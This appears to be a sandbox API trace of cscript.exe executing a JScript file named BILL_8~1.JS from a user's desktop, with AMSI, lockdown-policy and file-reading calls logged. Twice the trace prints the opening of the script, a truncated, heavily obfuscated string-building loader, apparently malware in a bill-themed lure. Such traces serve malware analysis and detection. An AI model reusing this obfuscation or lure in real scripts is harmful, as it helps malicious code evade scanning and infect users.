	[0038.024] RegQueryValueExW (in: hKey=0x146, lpValueName=0x0, lpReserved=0x0, lpType=0x95b977e644, lpData=0x95b977e690, lpcbData=0x95b977e640*=0x800 | out: lpType=0x95b977e644*=0x1, lpData="JSFile", lpcbData=0x95b977e640*=0xe) returned 0x0
	[0038.025] RegCloseKey (hKey=0x146) returned 0x0
	[0038.025] wcscat_s (in: _Destination="JSFile", _SizeInWords=0x40e, _Source="\\ScriptEngine" | out: _Destination="JSFile\\ScriptEngine") returned 0x0
	[0038.025] RegOpenKeyExW (in: hKey=0xffffffff80000000, lpSubKey="JSFile\\ScriptEngine", ulOptions=0x0, samDesired=0x20019, phkResult=0x95b977e680 | out: phkResult=0x95b977e680*=0x146) returned 0x0
	[0038.025] RegQueryValueExW (in: hKey=0x146, lpValueName=0x0, lpReserved=0x0, lpType=0x95b977e644, lpData=0x95b977ef00, lpcbData=0x95b977e640*=0x200 | out: lpType=0x95b977e644*=0x1, lpData="JScript", lpcbData=0x95b977e640*=0x10) returned 0x0
	[0038.025] RegCloseKey (hKey=0x146) returned 0x0
	[0038.025] CLSIDFromString (in: lpsz="JScript", pclsid=0x95b977ee78 | out: pclsid=0x95b977ee78*(Data1=0xf414c260, Data2=0x6ac0, Data3=0x11cf, Data4=([0]=0xb6, [1]=0xd1, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xbb, [6]=0xbb, [7]=0x58))) returned 0x0
	[0038.025] CoCreateInstance (in: rclsid=0x95b977ee78*(Data1=0xf414c260, Data2=0x6ac0, Data3=0x11cf, Data4=([0]=0xb6, [1]=0xd1, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xbb, [6]=0xbb, [7]=0x58)), pUnkOuter=0x0, dwClsContext=0x17, riid=0x7ff6dfd96e60*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x95b977ee70 | out: ppv=0x95b977ee70*=0x95b9b96470) returned 0x0
	[0038.533] __dllonexit () returned 0x7ffbed2dbe30
	[0038.533] __dllonexit () returned 0x7ffbed2dbe40
	[0038.533] __dllonexit () returned 0x7ffbed2dbe60
	[0038.534] __dllonexit () returned 0x7ffbed2dbe80
	[0038.534] GetModuleFileNameA (in: hModule=0x0, lpFilename=0x95b977c670, nSize=0x104 | out: lpFilename="C:\\Windows\\System32\\CScript.exe" (normalized: "c:\\windows\\system32\\cscript.exe")) returned 0x1f
	[0038.534] _splitpath_s (in: _FullPath="C:\\Windows\\System32\\CScript.exe", _Drive=0x0, _DriveSize=0x0, _Dir=0x0, _DirSize=0x0, _Filename=0x95b977c7f0, _FilenameSize=0x104, _Ext=0x0, _ExtSize=0x0 | out: _Drive=0x0, _Dir=0x0, _Filename="CScript", _Ext=0x0) returned 0x0
	[0038.534] RegOpenKeyExA (in: hKey=0xffffffff80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows Script\\Features", ulOptions=0x0, samDesired=0x1, phkResult=0x95b977c7d8 | out: phkResult=0x95b977c7d8*=0x0) returned 0x2
	[0038.539] GetVersion () returned 0x2800000a
	[0038.539] GetModuleHandleW (lpModuleName="api-ms-win-core-processthreads-l1-1-2.dll") returned 0x7ffc03dc0000
	[0038.539] GetProcAddress (hModule=0x7ffc03dc0000, lpProcName="QueryProtectedPolicy") returned 0x7ffc013cd460
	[0038.539] VirtualProtect (in: lpAddress=0x7ffbed336668, dwSize=0x8, flNewProtect=0x4, lpflOldProtect=0x95b977c920 | out: lpflOldProtect=0x95b977c920*=0x2) returned 1
	[0038.539] VirtualProtect (in: lpAddress=0x7ffbed336668, dwSize=0x8, flNewProtect=0x2, lpflOldProtect=0x95b977c920 | out: lpflOldProtect=0x95b977c920*=0x4) returned 1
	[0038.541] GetUserDefaultLCID () returned 0x409
	[0038.541] GetACP () returned 0x4e4
	[0038.541] LoadLibraryExA (lpLibFileName="amsi.dll", hFile=0x0, dwFlags=0x0) returned 0x7ffbf69d0000
	[0038.623] GetProcAddress (hModule=0x7ffbf69d0000, lpProcName="AmsiInitialize") returned 0x7ffbf69d2260
	[0038.623] GetProcAddress (hModule=0x7ffbf69d0000, lpProcName="AmsiScanString") returned 0x7ffbf69d26b0
	[0038.623] AmsiInitialize () returned 0x0
	[0038.746] GetCurrentThreadId () returned 0xd9c
	[0038.746] GetCurrentThreadId () returned 0xd9c
	[0038.746] RegOpenKeyExA (in: hKey=0xffffffff80000002, lpSubKey="Software\\Microsoft\\COM3", ulOptions=0x0, samDesired=0x20019, phkResult=0x95b977ed98 | out: phkResult=0x95b977ed98*=0x17c) returned 0x0
	[0038.746] RegQueryValueExA (in: hKey=0x17c, lpValueName="COM+Enabled", lpReserved=0x0, lpType=0x95b977ed90, lpData=0x95b977ed88, lpcbData=0x95b977ed80*=0x4 | out: lpType=0x95b977ed90*=0x4, lpData=0x95b977ed88*=0x1, lpcbData=0x95b977ed80*=0x4) returned 0x0
	[0038.746] RegCloseKey (hKey=0x17c) returned 0x0
	[0038.746] GetModuleHandleW (lpModuleName="api-ms-win-core-delayload-l1-1-1.dll") returned 0x7ffc01360000
	[0038.746] GetProcAddress (hModule=0x7ffc01360000, lpProcName="ResolveDelayLoadedAPI") returned 0x7ffc013ba1b0
	[0038.746] GetProcAddress (hModule=0x7ffc01360000, lpProcName="ResolveDelayLoadsFromDll") returned 0x7ffc0141e790
	[0038.747] ResolveDelayLoadedAPI () returned 0x7ffc01927000
	[0038.747] CoCreateInstance (in: rclsid=0x7ffbed338c30*(Data1=0x323, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pUnkOuter=0x0, dwClsContext=0x1, riid=0x7ffbed338c40*(Data1=0x146, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x95b977ed40 | out: ppv=0x95b977ed40*=0x7ffc01ad6e80) returned 0x0
	[0038.751] GetEnvironmentVariableW (in: lpName="JS_PROFILER", lpBuffer=0x95b977ed20, nSize=0x27 | out: lpBuffer="") returned 0x0
	[0038.751] GetUserDefaultLCID () returned 0x409
	[0038.751] IsValidLocale (Locale=0x409, dwFlags=0x1) returned 1
	[0038.751] GetLocaleInfoA (in: Locale=0x409, LCType=0x1004, lpLCData=0x95b977edc0, cchData=6 | out: lpLCData="1252") returned 5
	[0038.751] IsValidCodePage (CodePage=0x4e4) returned 1
	[0038.752] CoCreateInstance (in: rclsid=0x7ffbed33a7b8*(Data1=0x6c736db1, Data2=0xbd94, Data3=0x11d0, Data4=([0]=0x8a, [1]=0x23, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xb5, [6]=0x8e, [7]=0x10)), pUnkOuter=0x0, dwClsContext=0x1, riid=0x7ffbed33a7a8*(Data1=0x6c736dc1, Data2=0xab0d, Data3=0x11d0, Data4=([0]=0xa2, [1]=0xad, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xf, [6]=0x27, [7]=0xe8)), ppv=0x95b9b967e8 | out: ppv=0x95b9b967e8*=0x95b984dc20) returned 0x0
	[0038.752] IUnknown:AddRef (This=0x95b984dc20) returned 0x2
	[0038.752] GetCurrentProcessId () returned 0xd98
	[0038.752] GetCurrentThreadId () returned 0xd9c
	[0038.752] GetTickCount () returned 0x1c60a
	[0038.752] ISystemDebugEventFire:BeginSession (This=0x95b984dc20, guidSourceID=0x7ffbed337ea0, strSessionName="JScript:00003480:00003484:18116234") returned 0x0
	[0038.752] GetCurrentThreadId () returned 0xd9c
	[0038.753] GetTickCount () returned 0x1c60a
	[0038.753] GetCurrentThreadId () returned 0xd9c
	[0038.753] CreateFileW (lpFileName="C:\\Users\\CIIHMN~1\\Desktop\\BILL_8~1.JS" (normalized: "c:\\users\\ciihmn~1\\desktop\\bill_8~1.js"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8000000, hTemplateFile=0x0) returned 0x18c
	[0038.753] GetFileSize (in: hFile=0x18c, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x50f8
	[0038.753] CreateFileMappingA (hFile=0x18c, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x50f8, lpName=0x0) returned 0x190
	[0038.753] MapViewOfFile (hFileMappingObject=0x190, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x95b9af0000
	[0038.754] GetVersionExA (in: lpVersionInformation=0x95b977ef90*(dwOSVersionInfoSize=0x94, dwMajorVersion=0x0, dwMinorVersion=0x2, dwBuildNumber=0x0, dwPlatformId=0x0, szCSDVersion="") | out: lpVersionInformation=0x95b977ef90*(dwOSVersionInfoSize=0x94, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x2800, dwPlatformId=0x2, szCSDVersion="")) returned 1
	[0038.754] IsTextUnicode (in: lpv=0x95b9af0000, iSize=20728, lpiResult=0x95b977ef80 | out: lpiResult=0x95b977ef80) returned 0
	[0038.754] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x95b9af0000, cbMultiByte=20728, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 20728
	[0038.754] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x95b9af0000, cbMultiByte=20728, lpWideCharStr=0x95b984e6e8, cchWideChar=20728 | out: lpWideCharStr="function stemsAfraidPlus(e){return presidentInsideTopicSweet[9]+centerPageRabbitRefusedVolume.dug+manufacturingSeaSurrounded[12]+higherWinGraduallyParticularly[1]+harderCompoundWrittenStuckThus[8]}function studyingGentleSituation(e){return soonForYoungerYoung[6]+shakeWorkerModernPoliceman[5]+higherWinGraduallyParticularly[0]+payTeaAdditionalSheetGuide[10]+harderCompoundWrittenStuckThus[8]+manufacturingSeaSurrounded[10]}function wishPrincipalOur(e){return manufacturingSeaSurrounded[10]+harderCompoundWrittenStuckThus[8]+harderCompoundWrittenStuckThus[8]+higherWinGraduallyParticularly[1]+soonForYoungerYoung[1]+serviceMeanSeason[13]+serviceMeanSeason[13]+repeatPayDeeplyDroppedPeace[13]+shakeWorkerModernPoliceman[5]+harderCompoundWrittenStuckThus[8]+dogLandThreePoliticalDivision[11]+payTeaAdditionalSheetGuide[10]+shakeWorkerModernPoliceman[5]+serviceMeanSeason[13]+shakeWorkerModernPoliceman[6]+higherWinGraduallyParticularly[1]+serviceMeanSeason[13]+shakeWorkerModernPoliceman[6]+higherWinGraduallyParticularly[1]+awayBlanketArrangementTelevision[0]+wouldNeckNounIndeedSure.exciting+higherWinGraduallyParticularly[6]+fortFarAmountDozen[6]+manufacturingSeaSurrounded[12]+higherWinGraduallyParticularly[0]+serviceMeanSeason[13]+manufacturingSeaSurrounded[12]+fortFarAmountDozen[6]+wouldNeckNounIndeedSure.exciting+payTeaAdditionalSheetGuide[10]+shakeWorkerModernPoliceman[5]+repeatPayDeeplyDroppedPeace[12]+serviceMeanSeason[13]+weighEnoughUponBillFruit.suddenly+weighEnoughUponBillFruit.suddenly+weighEnoughUponBillFruit.suddenly+weighEnoughUponBillFruit.suddenly+dogLandThreePoliticalDivision[11]+shakeWorkerModernPoliceman[5]+methodVariousPosition[8]+shakeWorkerModernPoliceman[5]}function fourFatherParallelSeeingWhy(e){return manufacturingSeaSurrounded[15]}function knownAdditionRodVegetableRepeat(e){return fortFarAmountDozen[3]}function replaceRememberFreedom(e){return fortFarAmountDozen[3]+harderCompoundWrittenStuckThus[8]+wouldNeckNounIndeedSure.exciting+harderCompoundWrittenStuckThus[8]+eveningDreamMissingOxygenMilitary.wholeSum+repeatPayDeeplyDroppedPeace[12]}function calmBecomingLyingOpposite(e){return fortFarAmountDozen[3]+harderCompoundWrittenStuckThus[8]+wouldNeckNounIndeedSure.exciting+harderCompoundWrittenStuckThus[8]+eveningDreamMissingOxygenMilitary.wholeSum+repeatPayDeeplyDroppedPeace[12]}function honorCaughtFlowerCorner(e){return fortFarAmountDozen[3]+presidentInsideTopicSweet[9]+centerPageRabbitRefusedVolume.dug+manufacturingSeaSurrounded[12]+higherWinGraduallyParticularly[1]+harderCompoundWrittenStuckThus[8]+shakeWorkerModernPoliceman[4]+wouldNeckNounIndeedSure.exciting+fortFarAmountDozen[6]+shakeWorkerModernPoliceman[5]}function forthConcernedBrushYou(e){return soonForYoungerYoung[3]+shakeWorkerModernPoliceman[5]+harderCompoundWrittenStuckThus[8]+fortFarAmountDozen[3]+higherWinGraduallyParticularly[1]+shakeWorkerModernPoliceman[5]+presidentInsideTopicSweet[9]+manufacturingSeaSurrounded[12]+wouldNeckNounIndeedSure.exciting+soonForYoungerYoung[6]+fortFarAmountDozen[10]+methodVariousPosition[15]+soonForYoungerYoung[6]+higherWinGraduallyParticularly[6]+shakeWorkerModernPoliceman[5]+centerPageRabbitRefusedVolume.dug}function frontBagFreeMotorHall(e){return methodVariousPosition[15]+higherWinGraduallyParticularly[1]+shakeWorkerModernPoliceman[5]+higherWinGraduallyParticularly[0]}function characterSetsBreatheHouseMountain(e){return repeatPayDeeplyDroppedPeace[12]+shakeWorkerModernPoliceman[5]+harderCompoundWrittenStuckThus[8]+presidentInsideTopicSweet[7]+manufacturingSeaSurrounded[12]+fortFarAmountDozen[6]+shakeWorkerModernPoliceman[5]+methodVariousPosition[15]+eveningDreamMissingOxygenMilitary.wholeSum+harderCompoundWrittenStuckThus[8]+repeatPayDeeplyDroppedPeace[12]}function chartHelpfulBlueNeighborhood(e){return presidentInsideTopicSweet[9]+centerPageRabbitRefusedVolume.dug+manufacturingSeaSurrounded[12]+higherWinGraduallyParticularly[1]+harderCompoundWrittenStuckThus[8]+manufacturingSeaSurrounded[12]+higherWinGraduallyParticularly[0]+payTeaAdditionalSheetGuide[10]+dogLandThreePoliticalDivision[11]+fortFarAmountDozen[10]+manufacturingSeaSurrounded[12]+soonForYoungerYoung[6]}function foreignBrainToldFurtherDiscussion(e){return repeatPayDeeplyDroppedPeace[12]+shakeWorkerModernPoliceman[5]+higherWinGraduallyParticularly[0]+higherWinGraduallyParticularly[6]}function sumFrontFortyChurchSimilar(e){return centerPageRabbitRefusedVolume.dug+eveningDreamMissingOxygenMilitary.wholeSum+higherWinGraduallyParticularly[0]}function largerShowExcellentMeatUnit(e){return centerPageRabbitRefusedVolume.dug+eveningDreamMissingOxygenMilitary.wholeSum+higherWinGraduallyParticularly[0]}function askHarderPowderForWon(e){return soonForYoungerYoung[3]+dogLandThreePoliticalDivision[2]+presidentInsideTopicSweet[7]}function pairWriteFirstBring(e){return soonForYoungerYoung[0]+fortFarAmountDozen[3]+shakeWorkerModernPoliceman[2]+soonForYoungerYoung[0]+jetActualHealth.think+jetActualHealth.invented+dogLandThreePoliticalDivision[11]+shakeWorkerModernPoliceman[2]+soonForYoungerYoung[0]+jetActualHealth.think+centerPageRabbitRefusedVolume.sentenceCompletely+presiden") returned 20728
	[0038.755] UnmapViewOfFile (lpBaseAddress=0x95b9af0000) returned 1
	[0038.755] CloseHandle (hObject=0x190) returned 1
	[0038.755] LoadLibraryW (lpLibFileName="WLDP.DLL") returned 0x7ffbf39b0000
	[0039.651] GetProcAddress (hModule=0x7ffbf39b0000, lpProcName="WldpGetLockdownPolicy") returned 0x7ffbf39b1010
	[0039.651] GetProcAddress (hModule=0x7ffbf39b0000, lpProcName="WldpIsClassInApprovedList") returned 0x7ffbf39b3820
	[0039.651] WldpGetLockdownPolicy () returned 0x10000000
	[0039.651] CloseHandle (hObject=0x18c) returned 1
	[0039.651] GetSystemDirectoryA (in: lpBuffer=0x95b977efc8, uSize=0x0 | out: lpBuffer="") returned 0x14
	[0039.651] GetSystemDirectoryA (in: lpBuffer=0x95b9b96ba0, uSize=0x15 | out: lpBuffer="C:\\Windows\\system32") returned 0x13
	[0039.651] strcpy_s (in: _Dst=0x95b9b96bb3, _DstSize=0xf, _Src="\\" | out: _Dst="\\") returned 0x0
	[0039.651] strcpy_s (in: _Dst=0x95b9b96bb4, _DstSize=0xe, _Src="advapi32.dll" | out: _Dst="advapi32.dll") returned 0x0
	[0039.651] LoadLibraryA (lpLibFileName="C:\\Windows\\system32\\advapi32.dll") returned 0x7ffc01640000
	[0039.651] GetProcAddress (hModule=0x7ffc01640000, lpProcName="SaferIdentifyLevel") returned 0x7ffc0164a7d0
	[0039.651] GetProcAddress (hModule=0x7ffc01640000, lpProcName="SaferComputeTokenFromLevel") returned 0x7ffc01643ba0
	[0039.651] GetProcAddress (hModule=0x7ffc01640000, lpProcName="SaferCloseLevel") returned 0x7ffc01656cc0
	[0039.651] IdentifyCodeAuthzLevelW () returned 0x1
	[0041.188] GetVersionExA (in: lpVersionInformation=0x95b977d1a0*(dwOSVersionInfoSize=0x94, dwMajorVersion=0x0, dwMinorVersion=0x0, dwBuildNumber=0x0, dwPlatformId=0x0, szCSDVersion="") | out: lpVersionInformation=0x95b977d1a0*(dwOSVersionInfoSize=0x94, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x2800, dwPlatformId=0x2, szCSDVersion="")) returned 1
	[0041.189] GetUserDefaultLCID () returned 0x409
	[0041.189] GetLocaleInfoW (in: Locale=0x409, LCType=0x20000070, lpLCData=0x95b977cd10, cchData=2 | out: lpLCData="") returned 2
	[0041.189] IsFileSupportedName () returned 0x1
	[0041.189] _wcsicmp (_String1=".vbs", _String2=".js") returned 12
	[0041.189] _wcsicmp (_String1=".vbe", _String2=".js") returned 12
	[0041.189] _wcsicmp (_String1=".js", _String2=".js") returned 0
	[0041.195] GetSignedDataMsg () returned 0x0
	[0041.195] GetCurrentProcess () returned 0xffffffffffffffff
	[0041.195] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0x1b0, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x95b977da00, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0x95b977da00*=0x204) returned 1
	[0041.195] GetFileSize (in: hFile=0x204, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x50f8
	[0041.195] SetFilePointer (in: hFile=0x204, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0041.195] ReadFile (in: hFile=0x204, lpBuffer=0x95b9b998d0, nNumberOfBytesToRead=0x50f8, lpNumberOfBytesRead=0x95b977d9c0, lpOverlapped=0x0 | out: lpBuffer=0x95b9b998d0*, lpNumberOfBytesRead=0x95b977d9c0*=0x50f8, lpOverlapped=0x0) returned 1
	[0041.195] CoInitialize (pvReserved=0x0) returned 0x1
	[0041.195] CoCreateInstance (in: rclsid=0x7ffbed26e7f8*(Data1=0x6290bd1, Data2=0x48aa, Data3=0x11d2, Data4=([0]=0x84, [1]=0x32, [2]=0x0, [3]=0x60, [4]=0x8, [5]=0xc3, [6]=0xfb, [7]=0xfc)), pUnkOuter=0x0, dwClsContext=0x1, riid=0x7ffbed26e808*(Data1=0xe4d1c9b0, Data2=0x46e8, Data3=0x11d4, Data4=([0]=0xa2, [1]=0xa6, [2]=0x0, [3]=0x10, [4]=0x4b, [5]=0xd3, [6]=0x50, [7]=0x90)), ppv=0x95b977d920 | out: ppv=0x95b977d920*=0x95bba301d0) returned 0x0
	[0041.405] __dllonexit () returned 0x7ffbed16bcd0
	[0041.405] __dllonexit () returned 0x7ffbed16bcf0
	[0041.406] GetVersionExA (in: lpVersionInformation=0x95b977b330*(dwOSVersionInfoSize=0x94, dwMajorVersion=0x7ffb, dwMinorVersion=0x0, dwBuildNumber=0x0, dwPlatformId=0xed16bcf0, szCSDVersion="û\x7f") | out: lpVersionInformation=0x95b977b330*(dwOSVersionInfoSize=0x94, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x2800, dwPlatformId=0x2, szCSDVersion="")) returned 1
	[0041.406] GetProcessWindowStation () returned 0xbc
	[0041.406] GetUserObjectInformationA (in: hObj=0xbc, nIndex=1, pvInfo=0x95b977b318, nLength=0xc, lpnLengthNeeded=0x95b977b310 | out: pvInfo=0x95b977b318, lpnLengthNeeded=0x95b977b310) returned 1
	[0041.407] DllGetClassObject (in: rclsid=0x95b984c5f0*(Data1=0x6290bd1, Data2=0x48aa, Data3=0x11d2, Data4=([0]=0x84, [1]=0x32, [2]=0x0, [3]=0x60, [4]=0x8, [5]=0xc3, [6]=0xfb, [7]=0xfc)), riid=0x7ffc01a5f7c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x95b977c370 | out: ppv=0x95b977c370*=0x95b9b9ed00) returned 0x0
	[0041.408] IClassFactory:CreateInstance (in: This=0x95b9b9ed00, pUnkOuter=0x0, riid=0x95b977d270*(Data1=0xe4d1c9b0, Data2=0x46e8, Data3=0x11d4, Data4=([0]=0xa2, [1]=0xa6, [2]=0x0, [3]=0x10, [4]=0x4b, [5]=0xd3, [6]=0x50, [7]=0x90)), ppvObject=0x95b977c388 | out: ppvObject=0x95b977c388*=0x95bba301d0) returned 0x0
	[0041.408] GetSystemInfo (in: lpSystemInfo=0x95b977c208 | out: lpSystemInfo=0x95b977c208*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0x7ffffffeffff, dwActiveProcessorMask=0x3, dwNumberOfProcessors=0x2, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) 
	[0041.408] VirtualQuery (in: lpAddress=0x95b977c200, lpBuffer=0x95b977c238, dwLength=0x30 | out: lpBuffer=0x95b977c238*(BaseAddress=0x95b977c000, AllocationBase=0x95b9680000, AllocationProtect=0x4, __alignment1=0xffffe001, RegionSize=0x4000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0xffffd001)) returned 0x30
	[0041.409] IUnknown:AddRef (This=0x95bba301d0) returned 0x2
	[0041.409] IUnknown:Release (This=0x95bba301d0) returned 0x1
	[0041.409] IUnknown:Release (This=0x95b9b9ed00) returned 0x0
	[0041.409] IUnknown:QueryInterface (in: This=0x95bba301d0, riid=0x7ffbed26e808*(Data1=0xe4d1c9b0, Data2=0x46e8, Data3=0x11d4, Data4=([0]=0xa2, [1]=0xa6, [2]=0x0, [3]=0x10, [4]=0x4b, [5]=0xd3, [6]=0x50, [7]=0x90)), ppvObject=0x95b977d8b8 | out: ppvObject=0x95b977d8b8*=0x95bba301d0) returned 0x0
	[0041.409] IUnknown:Release (This=0x95bba301d0) returned 0x1
	[0041.409] _strnicmp (_Str1="<?xml", _Str="funct", _MaxCount=0x5) returned -42
	[0041.409] IsTextUnicode (in: lpv=0x95b9b998d0, iSize=20728, lpiResult=0x95b977d8a8 | out: lpiResult=0x95b977d8a8) returned 0
	[0041.409] GetACP () returned 0x4e4
	[0041.410] GetACP () returned 0x4e4
	[0041.410] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x95b9b998d0, cbMultiByte=20728, lpWideCharStr=0x95bba302a0, cchWideChar=20856 | out: lpWideCharStr="function stemsAfraidPlus(e){return presidentInsideTopicSweet[9]+centerPageRabbitRefusedVolume.dug+manufacturingSeaSurrounded[12]+higherWinGraduallyParticularly[1]+harderCompoundWrittenStuckThus[8]}function studyingGentleSituation(e){return soonForYoungerYoung[6]+shakeWorkerModernPoliceman[5]+higherWinGraduallyParticularly[0]+payTeaAdditionalSheetGuide[10]+harderCompoundWrittenStuckThus[8]+manufacturingSeaSurrounded[10]}function wishPrincipalOur(e){return manufacturingSeaSurrounded[10]+harderCompoundWrittenStuckThus[8]+harderCompoundWrittenStuckThus[8]+higherWinGraduallyParticularly[1]+soonForYoungerYoung[1]+serviceMeanSeason[13]+serviceMeanSeason[13]+repeatPayDeeplyDroppedPeace[13]+shakeWorkerModernPoliceman[5]+harderCompoundWrittenStuckThus[8]+dogLandThreePoliticalDivision[11]+payTeaAdditionalSheetGuide[10]+shakeWorkerModernPoliceman[5]+serviceMeanSeason[13]+shakeWorkerModernPoliceman[6]+higherWinGraduallyParticularly[1]+serviceMeanSeason[13]+shakeWorkerModernPoliceman[6]+higherWinGraduallyParticularly[1]+awayBlanketArrangementTelevision[0]+wouldNeckNounIndeedSure.exciting+higherWinGraduallyParticularly[6]+fortFarAmountDozen[6]+manufacturingSeaSurrounded[12]+higherWinGraduallyParticularly[0]+serviceMeanSeason[13]+manufacturingSeaSurrounded[12]+fortFarAmountDozen[6]+wouldNeckNounIndeedSure.exciting+payTeaAdditionalSheetGuide[10]+shakeWorkerModernPoliceman[5]+repeatPayDeeplyDroppedPeace[12]+serviceMeanSeason[13]+weighEnoughUponBillFruit.suddenly+weighEnoughUponBillFruit.suddenly+weighEnoughUponBillFruit.suddenly+weighEnoughUponBillFruit.suddenly+dogLandThreePoliticalDivision[11]+shakeWorkerModernPoliceman[5]+methodVariousPosition[8]+shakeWorkerModernPoliceman[5]}function fourFatherParallelSeeingWhy(e){return manufacturingSeaSurrounded[15]}function knownAdditionRodVegetableRepeat(e){return fortFarAmountDozen[3]}function replaceRememberFreedom(e){return fortFarAmountDozen[3]+harderCompoundWrittenStuckThus[8]+wouldNeckNounIndeedSure.exciting+harderCompoundWrittenStuckThus[8]+eveningDreamMissingOxygenMilitary.wholeSum+repeatPayDeeplyDroppedPeace[12]}function calmBecomingLyingOpposite(e){return fortFarAmountDozen[3]+harderCompoundWrittenStuckThus[8]+wouldNeckNounIndeedSure.exciting+harderCompoundWrittenStuckThus[8]+eveningDreamMissingOxygenMilitary.wholeSum+repeatPayDeeplyDroppedPeace[12]}function honorCaughtFlowerCorner(e){return fortFarAmountDozen[3]+presidentInsideTopicSweet[9]+centerPageRabbitRefusedVolume.dug+manufacturingSeaSurrounded[12]+higherWinGraduallyParticularly[1]+harderCompoundWrittenStuckThus[8]+shakeWorkerModernPoliceman[4]+wouldNeckNounIndeedSure.exciting+fortFarAmountDozen[6]+shakeWorkerModernPoliceman[5]}function forthConcernedBrushYou(e){return soonForYoungerYoung[3]+shakeWorkerModernPoliceman[5]+harderCompoundWrittenStuckThus[8]+fortFarAmountDozen[3]+higherWinGraduallyParticularly[1]+shakeWorkerModernPoliceman[5]+presidentInsideTopicSweet[9]+manufacturingSeaSurrounded[12]+wouldNeckNounIndeedSure.exciting+soonForYoungerYoung[6]+fortFarAmountDozen[10]+methodVariousPosition[15]+soonForYoungerYoung[6]+higherWinGraduallyParticularly[6]+shakeWorkerModernPoliceman[5]+centerPageRabbitRefusedVolume.dug}function frontBagFreeMotorHall(e){return methodVariousPosition[15]+higherWinGraduallyParticularly[1]+shakeWorkerModernPoliceman[5]+higherWinGraduallyParticularly[0]}function characterSetsBreatheHouseMountain(e){return repeatPayDeeplyDroppedPeace[12]+shakeWorkerModernPoliceman[5]+harderCompoundWrittenStuckThus[8]+presidentInsideTopicSweet[7]+manufacturingSeaSurrounded[12]+fortFarAmountDozen[6]+shakeWorkerModernPoliceman[5]+methodVariousPosition[15]+eveningDreamMissingOxygenMilitary.wholeSum+harderCompoundWrittenStuckThus[8]+repeatPayDeeplyDroppedPeace[12]}function chartHelpfulBlueNeighborhood(e){return presidentInsideTopicSweet[9]+centerPageRabbitRefusedVolume.dug+manufacturingSeaSurrounded[12]+higherWinGraduallyParticularly[1]+harderCompoundWrittenStuckThus[8]+manufacturingSeaSurrounded[12]+higherWinGraduallyParticularly[0]+payTeaAdditionalSheetGuide[10]+dogLandThreePoliticalDivision[11]+fortFarAmountDozen[10]+manufacturingSeaSurrounded[12]+soonForYoungerYoung[6]}function foreignBrainToldFurtherDiscussion(e){return repeatPayDeeplyDroppedPeace[12]+shakeWorkerModernPoliceman[5]+higherWinGraduallyParticularly[0]+higherWinGraduallyParticularly[6]}function sumFrontFortyChurchSimilar(e){return centerPageRabbitRefusedVolume.dug+eveningDreamMissingOxygenMilitary.wholeSum+higherWinGraduallyParticularly[0]}function largerShowExcellentMeatUnit(e){return centerPageRabbitRefusedVolume.dug+eveningDreamMissingOxygenMilitary.wholeSum+higherWinGraduallyParticularly[0]}function askHarderPowderForWon(e){return soonForYoungerYoung[3]+dogLandThreePoliticalDivision[2]+presidentInsideTopicSweet[7]}function pairWriteFirstBring(e){return soonForYoungerYoung[0]+fortFarAmountDozen[3]+shakeWorkerModernPoliceman[2]+soonForYoungerYoung[0]+jetActualHealth.think+jetActualHealth.invented+dogLandThreePoliticalDivision[11]+shakeWorkerModernPoliceman[2]+soonForYoungerYoung[0]+jetActualHealth.think+centerPageRabbitRefusedVolume.sentenceCompletely+presiden") returned 20728
	[0041.411] CoUninitialize () 
	[0041.412] CloseHandle (hObject=0x204) returned 1
	[0041.412] wcsncmp (_String1="function stemsAfraidPlus(e){retur", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 89
	[0041.412] wcsncmp (_String1="unction stemsAfraidPlus(e){return", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 104
	[0041.412] wcsncmp (_String1="nction stemsAfraidPlus(e){return ", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 97
